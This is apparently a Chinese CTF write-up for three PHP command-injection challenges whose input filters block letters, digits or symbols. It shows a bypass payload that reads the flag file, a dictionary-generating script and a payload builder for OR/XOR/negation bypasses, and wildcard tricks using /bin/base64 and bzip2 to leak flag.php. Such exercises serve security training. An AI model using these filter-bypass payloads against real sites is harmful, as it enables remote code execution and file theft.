题目一:
40
<?phpif(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}?>
-
each() 返回数组中当前的键/值对并将数组指针向前移动一步
-
end() 将数组的内部指针指向最后一个单元
-
next() 将数组中的内部指针向前移动一位
-
prev() 将数组中的内部指针倒回一位
-
array_reverse() 以相反的元素顺序返回数组key=>value value=>key
-
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
-
pos():返回数组中当前元素的值
-
scandir():获取目录下的文件
-
array_reverse():将数组逆序排列
-
next():函数将内部指针指向下一元素,并输出
-
print_r(scandir(‘.’)); 查看当前目录下的所有文件名
-
current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
highlight_file()
highlight_file(next(array_reverse(scandir(dirname(__FILE__)))))
题目二:
41
<?phpif(isset($_POST['c'])){ $c = $_POST['c'];if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ eval("echo($c);"); }}else{ highlight_file(__FILE__);}?>
生成字典脚本:
<?php/*# -*- coding: utf-8 -*-# @Author: Y4tacker# @Date: 2020-11-21 20:31:22*///或function orRce($par1, $par2){ $result = (urldecode($par1)|urldecode($par2)); return $result;}//异或function xorRce($par1, $par2){ $result = (urldecode($par1)^urldecode($par2)); return $result;}//取反function negateRce(){ fwrite(STDOUT,'[+]your function: '); $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: '); $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';}//mode=1代表或,2代表异或,3代表取反//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式function generate($mode, $preg='/[0-9]/i'){ if ($mode!=3){ $myfile = fopen("rce.txt", "w"); $contents = ""; for ($i=0;$i<256;$i++){ for ($j=0;$j<256;$j++){ if ($i<16){ $hex_i = '0'.dechex($i); }else{ $hex_i = dechex($i); } if ($j<16){ $hex_j = '0'.dechex($j); }else{ $hex_j = dechex($j); } if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; }else{ $par1 = "%".$hex_i; $par2 = '%'.$hex_j; $res = ''; if ($mode==1){ $res = orRce($par1, $par2); }else if ($mode==2){ $res = xorRce($par1, $par2); } if (ord($res)>=32&ord($res)<=126){ $contents=$contents.$res." ".$par1." ".$par2."\n"; } } } } fwrite($myfile,$contents); fclose($myfile); }else{ negateRce(); }}generate(2,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
或应用脚本:
import requestsimport urllibfrom sys import *import osdef action(arg): s1="" s2="" for i in arg: f=open("or_rce.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";" print(param)
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
题目三
55(无字母)
<?php// 你们在炫技吗?if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); }}else{ highlight_file(__FILE__);}
/bin目录
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php
/usr/bin目录
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb*、wget等。我们可以利用/usr/bin下的bzip2意思就是说我们先将flag.php文件进行压缩,然后再将其下载